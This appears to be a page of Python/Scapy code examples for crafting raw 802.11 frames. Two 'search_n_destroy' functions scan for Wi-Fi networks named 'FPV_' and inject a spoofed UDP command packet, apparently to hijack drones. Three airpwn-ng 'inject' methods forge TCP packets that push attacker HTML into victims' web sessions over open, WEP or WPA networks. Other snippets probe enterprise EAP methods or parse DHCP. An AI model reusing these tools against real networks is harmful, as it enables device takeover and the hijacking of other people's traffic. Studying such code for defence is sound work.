예제 #1
0
def search_n_destroy(iface: str):
    setup_monitor(iface)
    pkts_stream = sniff_gen(iface=iface)

    for pkt in pkts_stream:
        if UDP in pkt:
            dgram = pkt[UDP]
            if dgram.dport == 5555:

                frame = (
                    RadioTap() / Dot11FCS(
                        subtype=8,
                        type="Data",
                        proto=0,
                        FCfield="to-DS",
                        addr1=pkt[Dot11].addr1,
                        addr2=pkt[Dot11].addr2,
                        addr3=pkt[Dot11].addr3,
                    ) /
                    Dot11QoS(Reserved=0, Ack_Policy=0, EOSP=0, TID=0, TXOP=0) /
                    LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
                    SNAP(OUI=0x0, code="IPv4") / IP(version=4,
                                                    proto="udp",
                                                    src=pkt[IP].src,
                                                    dst=pkt[IP].dst) /
                    UDP(sport=6666, dport=5555) / Raw(load=bytes.fromhex(
                        "436d640001001200010404000a000000808080802020202010652f"
                    )))

                sendp(frame, iface=iface)
                break
예제 #2
0
	def send(self, data, dot11_type=2, dot11_subtype=8, FCfield=0x02, raw=True):
		"""
		Send a frame, if raw, insert the data above the Dot11QoS layer.
		"""
		frame = RadioTap()/Dot11(FCfield=FCfield, addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), type=dot11_type, subtype=dot11_subtype)
		if raw:
			frame = frame/data
		else:
			frame = frame/Dot11QoS()/data
		sendp(frame, iface=self.interface, verbose=False)
		self.sequence += 1
예제 #3
0
def search_n_destroy(iface: str):

    setup_monitor(iface)
    pkts_stream = sniff_gen(iface=iface)

    for pkt in pkts_stream:
        if Dot11Beacon in pkt:
            beacon = pkt[Dot11Beacon]
            network = beacon.network_stats()
            ssid = network.get("ssid")
            if ssid and ssid.startswith("FPV_"):
                print(network)

                sender = "b2:43:f6:64:a2:bb"
                bssid = "14:6b:9c:58:75:07"
                frame = send_asso_req(sender, bssid, ssid)
                sendp(frame, iface=iface)

                frame = (
                    RadioTap() / Dot11FCS(
                        subtype=8,
                        type="Data",
                        proto=0,
                        FCfield="to-DS",
                        addr1=bssid,
                        addr2=sender,
                        addr3=bssid,
                    ) /
                    Dot11QoS(Reserved=0, Ack_Policy=0, EOSP=0, TID=0, TXOP=0) /
                    LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
                    SNAP(OUI=0x0, code="IPv4") / IP(version=4,
                                                    proto="udp",
                                                    src="172.16.10.187",
                                                    dst="172.16.10.1") /
                    UDP(sport=6666, dport=5555) / Raw(load=bytes.fromhex(
                        "436d640001001200010404000a000000808080802020202010652f"
                    )))
                print(frame)

                sendp(frame, iface=iface)
예제 #4
0
    def check_eap_type(self,
                       essid,
                       eaptype,
                       outer_identity='user',
                       eapol_start=False,
                       rsnInfo=''):
        """
		Check that an eaptype is supported.
		errDict = {
			0:"supported",
			1:"not supported",
			2:"could not determine",
			3:"identity rejected"
		}
		"""

        eapid = randint(1, 254)
        if eapol_start:
            eapol_start_request = (RadioTap() / Dot11(FCfield=0x01,
                                                      addr1=self.bssid,
                                                      addr2=self.source_mac,
                                                      addr3=self.bssid,
                                                      SC=self.__fixSC__(),
                                                      type=2,
                                                      subtype=8) / Dot11QoS() /
                                   LLC(dsap=170, ssap=170, ctrl=3) /
                                   SNAP(code=0x888e) /
                                   EAPOL(version=1, type=1))
            self.sequence += 1
            i = 0
            for i in range(0, EAP_MAX_TRIES):
                self.__thread_sendp__(eapol_start_request)
                if not self.lastpacket is None:
                    if self.lastpacket.haslayer('EAP'):
                        fields = self.lastpacket.getlayer('EAP').fields
                        if 'type' in fields and fields['type'] == 1 and fields[
                                'code'] == 1:
                            i = 0
                            eapid = fields['id']
                            break
            if i == 2:
                return 2
        eap_identity_response = (
            RadioTap() / Dot11(FCfield=0x01,
                               addr1=self.bssid,
                               addr2=self.source_mac,
                               addr3=self.bssid,
                               SC=self.__fixSC__(),
                               type=2,
                               subtype=8) / Dot11QoS() /
            LLC(dsap=170, ssap=170, ctrl=3) / SNAP(code=0x888e) /
            EAPOL(version=1, type=0) /
            EAP(code=2, type=1, id=eapid, identity=outer_identity))
        eap_legacy_nak = (
            RadioTap() / Dot11(FCfield=0x01,
                               addr1=self.bssid,
                               addr2=self.source_mac,
                               addr3=self.bssid,
                               SC=self.__fixSC__(),
                               type=2,
                               subtype=8) / Dot11QoS() /
            LLC(dsap=170, ssap=170, ctrl=3) / SNAP(code=0x888e) /
            EAPOL(version=1, type=0, len=6) /
            EAP(code=2, type=3, id=eapid + 1, eap_types=[eaptype]))
        self.sequence += 1

        for i in range(0, EAP_MAX_TRIES):
            self.__thread_sendp__(eap_identity_response)
            if not self.lastpacket is None:
                if self.lastpacket.haslayer('EAP'):
                    fields = self.lastpacket.getlayer('EAP').fields
                    if fields['code'] == 4:  # 4 is a failure
                        return 3
                    if 'type' in fields and fields['type'] == eaptype:
                        return 0
                    i = 0
                    break
        if i == 2:
            return 2
        for i in range(0, EAP_MAX_TRIES):
            self.__thread_sendp__(eap_legacy_nak)
            if not self.lastpacket is None:
                if self.lastpacket.haslayer('EAP'):
                    fields = self.lastpacket.getlayer('EAP').fields
                    if 'type' in fields and fields['type'] == eaptype:
                        return 0
                    else:
                        return 1
        return 2
예제 #5
0
    def inject(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport,
               acknum, seqnum, injection, TSVal, TSecr):
        """Send the injection using Scapy

        This method is where the actual packet is created for sending
        Things such as payload and associated flags are genned here
        FIN/ACK flag is sent to the victim with this method
        """

        ## Headers
        headers = self.hdr.default(injection)

        ## Monitor
        if self.args.inj == 'mon':

            ## WEP/WPA
            if self.args.wep or self.args.wpa:
                packet = RadioTap()\
                         /Dot11(
                               FCfield = 'from-DS',
                               addr1 = vicmac,
                               addr2 = rtrmac,
                               addr3 = dstmac,
                               subtype = 8,
                               type = 2
                               )\
                         /Dot11QoS()\
                         /LLC()\
                         /SNAP()\
                         /IP(
                            dst = vicip,
                            src = svrip
                            )\
                         /TCP(
                             flags = 'FA',
                             sport = int(svrport),
                             dport = int(vicport),
                             seq = int(seqnum),
                             ack = int(acknum)
                             )\
                         /Raw(
                             load = headers + injection
                             )

            ## Open
            else:
                packet = RadioTap()\
                         /Dot11(
                               FCfield = 'from-DS',
                               addr1 = vicmac,
                               addr2 = rtrmac,
                               addr3 = dstmac
                               )\
                         /LLC()\
                         /SNAP()\
                         /IP(
                            dst = vicip,
                            src = svrip
                            )\
                         /TCP(
                             flags = 'FA',
                             sport = int(svrport),
                             dport = int(vicport),
                             seq = int(seqnum),
                             ack = int(acknum)
                             )\
                         /Raw(
                             load = headers + injection
                             )

            if TSVal is not None and TSecr is not None:
                packet[TCP].options = [('NOP', None), ('NOP', None),
                                       ('Timestamp', ((round(time.time()),
                                                       TSVal)))]
            else:
                packet[TCP].options = [('NOP', None), ('NOP', None),
                                       ('Timestamp', ((round(time.time()), 0)))
                                       ]

            ## WPA
            if self.args.wpa is not None:
                if self.shake.encDict.get(vicmac) == 'ccmp':

                    ### Why are we incrementing here?  Been done before in wpaEncrypt(), verify this.
                    try:
                        self.shake.PN[5] += 1
                    except:
                        self.shake.PN[4] += 1

                    try:
                        packet = wpaEncrypt(
                            self.shake.tgtInfo.get(vicmac)[1],
                            self.shake.origPkt, packet, self.shake.PN, True)

                    except:
                        sys.stdout.write(
                            Bcolors.FAIL +
                            '\n[!] pyDot11 did not work\n[!] Injection failed\n '
                            + Bcolors.ENDC)
                        sys.stdout.flush()
                else:
                    sys.stdout.write(
                        Bcolors.FAIL +
                        '\n[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n '
                        + Bcolors.ENDC)
                    sys.stdout.flush()

            ## WEP Injection
            elif self.args.wep is not None:
                try:
                    packet = wepEncrypt(packet, self.args.wep)
                except:
                    sys.stdout.write(
                        Bcolors.FAIL +
                        '\n[!] pyDot11 did not work\n[!] Injection failed\n ' +
                        Bcolors.ENDC)
                    sys.stdout.flush()

        ## Managed
        else:
            headers = self.hdr.default(injection)
            packet = Ether(\
                          src = self.injMac,\
                          dst = vicmac\
                          )\
                    /IP(
                        dst = vicip,
                        src = svrip
                        )\
                    /TCP(
                        flags = 'FA',
                        sport = int(svrport),
                        dport = int(vicport),
                        seq = int(seqnum),
                        ack = int(acknum)
                        )\
                    /Raw(
                        load = headers + injection
                        )

            if TSVal is not None:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), TSVal)))\
                                      ]
            else:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), 0)))\
                                      ]

        ## Inject
        gs(self.injSocket, packet, verbose=False)
        print('[*] Packet injected to {0}'.format(vicmac))
예제 #6
0
    def check_eap_type(self,
                       eaptype,
                       outer_identity='user',
                       eapol_start=False):
        """
		Check that an eaptype is supported.
		errDict = {
			0:"supported",
			1:"not supported",
			2:"could not determine",
			3:"identity rejected"
		}
		"""
        eapid = randint(1, 254)
        if eapol_start:
            eapol_start_request = RadioTap() / Dot11(
                FCfield=0x01,
                addr1=self.bssid,
                addr2=self.source_mac,
                addr3=self.bssid,
                SC=self.__unfuckupSC__(),
                type=2,
                subtype=8) / Dot11QoS() / LLC(
                    dsap=170, ssap=170, ctrl=3) / SNAP(code=0x888e) / EAPOL(
                        version=1, type=1)
            self.sequence += 1
            i = 0
            while i < 3:
                sendp(eapol_start_request, iface=self.interface, verbose=False)
                sniff(iface=self.interface,
                      store=0,
                      timeout=RESPONSE_TIMEOUT,
                      stop_filter=self.__stopfilter__)
                if not self.lastpacket is None:
                    if self.lastpacket.haslayer('EAP'):
                        fields = self.lastpacket.getlayer(EAP).fields
                        if 'type' in fields and fields['type'] == 1 and fields[
                                'code'] == 1:
                            i = 0
                            eapid = fields['id']
                            break
                i += 1
            if i == 2:
                return 2

        eap_identity_response = RadioTap() / Dot11(
            FCfield=0x01,
            addr1=self.bssid,
            addr2=self.source_mac,
            addr3=self.bssid,
            SC=self.__unfuckupSC__(),
            type=2,
            subtype=8) / Dot11QoS() / LLC(dsap=170, ssap=170, ctrl=3) / SNAP(
                code=0x888e) / EAPOL(version=1, type=0) / EAP(
                    code=2, type=1, id=eapid, identity=outer_identity)
        self.sequence += 1
        eap_legacy_nak = RadioTap() / Dot11(
            FCfield=0x01,
            addr1=self.bssid,
            addr2=self.source_mac,
            addr3=self.bssid,
            SC=self.__unfuckupSC__(),
            type=2,
            subtype=8) / Dot11QoS() / LLC(dsap=170, ssap=170, ctrl=3) / SNAP(
                code=0x888e) / EAPOL(version=1, type=0, len=6) / EAP(
                    code=2, type=3, id=eapid + 1, eap_types=[eaptype])
        self.sequence += 1

        for i in range(0, 3):
            sendp(eap_identity_response, iface=self.interface, verbose=False)
            sniff(iface=self.interface,
                  store=0,
                  timeout=RESPONSE_TIMEOUT,
                  stop_filter=self.__stopfilter__)
            if not self.lastpacket is None:
                if self.lastpacket.haslayer('EAP'):
                    fields = self.lastpacket.getlayer(EAP).fields
                    if fields['code'] == 4:  # 4 is a failure
                        return 3
                    if 'type' in fields and fields['type'] == eaptype:
                        return 0
                    i = 0
                    break
        if i == 2:
            return 2

        for i in range(0, 3):
            sendp(eap_legacy_nak, iface=self.interface, verbose=False)
            sniff(iface=self.interface,
                  store=0,
                  timeout=RESPONSE_TIMEOUT,
                  stop_filter=self.__stopfilter__)
            if not self.lastpacket is None:
                if self.lastpacket.haslayer('EAP'):
                    fields = self.lastpacket.getlayer(EAP).fields
                    if 'type' in fields and fields['type'] == eaptype:
                        return 0
                    else:
                        return 1
        return 2
예제 #7
0
    def inject(self, vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum,
               seqnum, injection, TSVal, TSecr):
        """Send the injection using Scapy

        This method is where the actual packet is created for sending
        Things such as payload and associated flags are genned here

        FIN/ACK flag is sent to the victim with this method
        """

        ## HTML headers
        headers = '\r\n'.join([
            'HTTP/1.1 200 OK', 'Date: {}'.format(
                time.strftime('%a, %d %b %Y %H:%M:%S GMT', time.gmtime())),
            'Server: Apache', 'Content-Length: {}'.format(len(injection)),
            'Connection: close', 'Content-Type: text/html\r\n\r\n'
        ])

        ## Monitor
        if self.args.inj == 'mon':

            ## WEP/WPA
            if self.args.wep or self.args.wpa:
                # packet = self.rTap\
                packet = RadioTap()\
                         /Dot11(
                               FCfield = 'from-DS',
                               addr1 = vicmac,
                               addr2 = rtrmac,
                               addr3 = rtrmac,
                               subtype = 8L,
                               type = 2
                               )\
                         /Dot11QoS()\
                         /LLC()\
                         /SNAP()\
                         /IP(
                            dst = vicip,
                            src = svrip
                            )\
                         /TCP(
                             flags = 'FA',
                             sport = int(svrport),
                             dport = int(vicport),
                             seq = int(seqnum),
                             ack = int(acknum)
                             )\
                         /Raw(
                             load = headers + injection
                             )
            ## Open
            else:
                packet = RadioTap()\
                         /Dot11(
                               FCfield = 'from-DS',
                               addr1 = vicmac,
                               addr2 = rtrmac,
                               addr3 = rtrmac
                               )\
                         /LLC()\
                         /SNAP()\
                         /IP(
                            dst = vicip,
                            src = svrip
                            )\
                         /TCP(
                             flags = 'FA',
                             sport = int(svrport),
                             dport = int(vicport),
                             seq = int(seqnum),
                             ack = int(acknum)
                             )\
                         /Raw(
                             load = headers + injection
                             )

        ## Managed
        else:
            packet = Ether(src = self.getHwAddr(self.interface), dst=vicmac)\
                     /IP(
                        dst = vicip,
                        src = svrip
                        )\
                     /TCP(
                         flags = 'FA',
                         sport = int(svrport),
                         dport = int(vicport),
                         seq = int(seqnum),
                         ack = int(acknum)
                         )\
                     /Raw(
                         load = headers + injection
                         )

        if TSVal is not None and TSecr is not None:
            packet[TCP].options = [('NOP', None), ('NOP', None),
                                   ('Timestamp', ((round(time.time()), TSVal)))
                                   ]
        else:
            packet[TCP].options = [('NOP', None), ('NOP', None),
                                   ('Timestamp', ((round(time.time()), 0)))]

        ## Encrypt if using monitor mode
        if self.args.inj == 'mon':

            ## WPA Injection
            if self.args.wpa is not None:

                ## CCMP
                if self.shake.encDict.get(vicmac) == 'ccmp':
                    try:
                        self.shake.PN[5] += 1
                    except:
                        self.shake.PN[4] += 1
                    packet = wpaEncrypt(
                        self.shake.tgtInfo.get(vicmac)[1], self.shake.origPkt,
                        packet, self.shake.PN,
                        False)  ### DEBUG SET TO FALSE FOR NOW

                ## TKIP, use --inj man as a workaround
                else:
                    print(
                        '[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n[!] Use --inj "man" as a workaround'
                    )
                    sys.exit()
                    #packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[0],
                    #self.shake.origPkt,
                    #packet,
                    #self.shake.PN,
                    #True)

            ## WEP
            elif self.args.wep is not None:
                packet = wepEncrypt(packet, self.args.wep)

        ## Inject
        sendp(packet, iface=self.interface, verbose=False)
        # gs(self.injSocket, packet, verbose = False)
        print('[*] Packet injected to {0}'.format(vicmac))
예제 #8
0
    def inject(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport,
               acknum, seqnum, injection, TSVal, TSecr):
        """Send the injection using Scapy
        
        This method is where the actual packet is created for sending
        Things such as payload and associated flags are genned here
        FIN/ACK flag is sent to the victim with this method
        """
        global npackets
        npackets += 1
        sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' +
                         Bcolors.WARNING + vicmac + Bcolors.OKBLUE +
                         ' (TOTAL: ' + str(npackets) + ' injected packets)\r' +
                         Bcolors.ENDC)
        sys.stdout.flush()

        ## Injection using Monitor Mode
        if self.args.inj == 'mon':
            hdr = Headers()
            headers = hdr.default(injection)

            ## WEP/WPA
            if self.args.wep or self.args.wpa:
                packet = self.rTap\
                        /Dot11(
                              FCfield = 'from-DS',
                              addr1 = vicmac,
                              addr2 = rtrmac,
                              addr3 = dstmac,
                              subtype = 8L,
                              type = 2
                              )\
                        /Dot11QoS()\
                        /LLC()\
                        /SNAP()\
                        /IP(
                           dst = vicip,
                           src = svrip
                           )\
                        /TCP(
                            flags = 'FA',
                            sport = int(svrport),
                            dport = int(vicport),
                            seq = int(seqnum),
                            ack = int(acknum)
                            )\
                        /Raw(
                            load = headers + injection
                            )
            ## Open
            else:
                packet = RadioTap()\
                        /Dot11(
                              FCfield = 'from-DS',
                              addr1 = vicmac,
                              addr2 = rtrmac,
                              addr3 = dstmac
                              )\
                        /LLC()\
                        /SNAP()\
                        /IP(
                           dst = vicip,
                           src = svrip
                           )\
                        /TCP(
                            flags = 'FA',
                            sport = int(svrport),
                            dport = int(vicport),
                            seq = int(seqnum),
                            ack = int(acknum)
                            )\
                        /Raw(
                            load = headers + injection
                            )

            if TSVal is not None and TSecr is not None:
                packet[TCP].options = [('NOP', None), ('NOP', None),
                                       ('Timestamp', ((round(time.time()),
                                                       TSVal)))]
            else:
                packet[TCP].options = [('NOP', None), ('NOP', None),
                                       ('Timestamp', ((round(time.time()), 0)))
                                       ]

            ## WPA Injection
            if self.args.wpa is not None:
                if self.shake.encDict.get(vicmac) == 'ccmp':

                    ### Why are we incrementing here?  Been done before in wpaEncrypt(), verify this.
                    try:
                        self.shake.PN[5] += 1
                    except:
                        self.shake.PN[4] += 1

                    try:
                        packet = wpaEncrypt(
                            self.shake.tgtInfo.get(vicmac)[1],
                            self.shake.origPkt, packet, self.shake.PN, True)

                    except:
                        sys.stdout.write(
                            Bcolors.FAIL +
                            '\n[!] pyDot11 did not work\n[!] Injection failed\n '
                            + Bcolors.ENDC)
                        sys.stdout.flush()
                else:
                    sys.stdout.write(
                        Bcolors.FAIL +
                        '\n[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n '
                        + Bcolors.ENDC)
                    sys.stdout.flush()
                    #packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[0],
                    #self.shake.origPkt,
                    #packet,
                    #self.shake.PN,
                    #True)

                if self.args.v is False:
                    sendp(packet, iface=self.interface, verbose=0)
                else:
                    sendp(packet, iface=self.interface, verbose=1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)

            ## WEP Injection
            elif self.args.wep is not None:
                try:
                    packet = wepEncrypt(packet, self.args.wep)
                except:
                    sys.stdout.write(
                        Bcolors.FAIL +
                        '\n[!] pyDot11 did not work\n[!] Injection failed\n ' +
                        Bcolors.ENDC)
                    sys.stdout.flush()

                if self.args.v is False:
                    sendp(packet, iface=self.interface, verbose=0)
                else:
                    sendp(packet, iface=self.interface, verbose=1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)

            ## Open WiFi Injection
            else:
                if self.args.v is False:
                    sendp(packet, iface=self.interface, verbose=0)
                else:
                    sendp(packet, iface=self.interface, verbose=1)
                if self.args.pcap is True:
                    wrpcap('outbound.pcap', packet)

            ### Single packet exit point
            ### Used for BeEF hook examples and such
            if self.args.single is True:
                sys.stdout.write(Bcolors.OKBLUE +
                                 '[*] Injecting Packet to victim ' +
                                 Bcolors.WARNING + vicmac + Bcolors.OKBLUE +
                                 ' (TOTAL: ' + str(npackets) +
                                 ' injected packets)\r' + Bcolors.ENDC)
                sys.exit(0)

        ## Injection using Managed Mode
        else:
            hdr = Headers()
            headers = hdr.default(injection)
            packet = Ether(\
                          src = self.getHwAddr(self.interface),\
                          dst = vicmac\
                          )\
                    /IP(
                        dst = vicip,
                        src = svrip
                        )\
                    /TCP(
                        flags = 'FA',
                        sport = int(svrport),
                        dport = int(vicport),
                        seq = int(seqnum),
                        ack = int(acknum)
                        )\
                    /Raw(
                        load = headers + injection
                        )

            if TSVal is not None:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), TSVal)))\
                                      ]
            else:
                packet[TCP].options = [\
                                      ('NOP', None),\
                                      ('NOP', None),\
                                      ('Timestamp', ((round(time.time()), 0)))\
                                      ]

            if self.args.v is False:
                sendp(packet, iface=self.interface, verbose=0)
            else:
                sendp(packet, iface=self.interface, verbose=1)
            if self.args.pcap is True:
                wrpcap('outbound.pcap', packet)
예제 #9
0
    def __init__(self):

        base_pkt = (
            Dot11(FCfield='to-DS',
                    subtype=8,
                    type='Data',
                    ID=0,
                    addr1="ff:ff:ff:ff:ff:ff",
                    addr2="ff:ff:ff:ff:ff:ff",
                    addr3="ff:ff:ff:ff:ff:ff",
                    ) /
            Dot11QoS() /
            LLC(dsap=170, ssap=170, ctrl=3) /  # aa, aa, 3
            SNAP(code=2048) /  # ethertype : ipv4
            IP(src="0.0.0.0", dst="255.255.255.255") /
            UDP(sport=68, dport=67, chksum=0) /
            BOOTP(chaddr=b'123456', xid=55555, yiaddr='0.0.0.0') /
            DHCP(options=[("message-type", "discover"), "end"])
        )

        FastParser.__init__(self, base_pkt)

        self.add_field('802.11.addr1', 'addr1')
        self.add_field('802.11.addr2', 'addr2')
        self.add_field('802.11.addr3', 'addr3')

        # for dhcp offer compatibility with ethernet/dot11
        self.add_field('802.11.addr3', 'srcmac')
        self.add_field('802.11.addr1', 'dstmac')

        self.add_field('IP.ihl',      'ihl', fmt="!B")
        self.add_field('IP.dst',      'dstip')
        self.add_field('IP.src',      'srcip')
        self.add_field('IP.chksum',   'chksum')
        self.add_field("IP.id", 'ip_id')
        self.add_field("IP.len", "ip_len")

        # self.add_field('UDP.chksum', 'udp_chksum')
        self.add_field('UDP.len', 'udp_len')

        self.add_field('BOOTP.xid', 'xid')
        self.add_field('BOOTP.chaddr', 'chaddr')
        self.add_field('BOOTP.ciaddr', 'ciaddr')
        self.add_field('BOOTP.yiaddr', 'yiaddr')
        self.add_field('DHCP options.options', 'options',
                       getter=self.get_options, setter=self.set_options)

        msg_types = [{'id': 1, 'name': 'discover'},
                     {'id': 2, 'name': 'offer'},
                     {'id': 3, 'name': 'request'},
                     {'id': 5, 'name': 'ack'},
                     {'id': 6, 'name': 'nack'},
                     ]

        self.msg_types = {}

        for t in msg_types:
            self.msg_types[t['id']] = t
            self.msg_types[t['name']] = t

        opts = [{'id': 53, 'name': 'message-type',   'type': 'byte'},
                {'id': 54, 'name': 'server_id',      'type': 'int'},
                {'id': 50, 'name': 'requested_addr', 'type': 'int'},
                {'id': 51, 'name': 'lease-time',     'type': 'int'},
                {'id': 58, 'name': 'renewal_time',   'type': 'int'},
                {'id': 59, 'name': 'rebinding_time', 'type': 'int'},
                {'id': 1,  'name': 'subnet_mask',    'type': 'int'},
                {'id': 15, 'name': 'domain',         'type': 'str'},
                {'id': 3,  'name': 'router',         'type': 'int'},
                {'id': 43, 'name': 'vendor-specific', 'type': 'int'},
                ]

        self.opts = {}

        for opt in opts:
            self.opts[opt['id']] = opt
            self.opts[opt['name']] = opt

        self.obj = self.clone()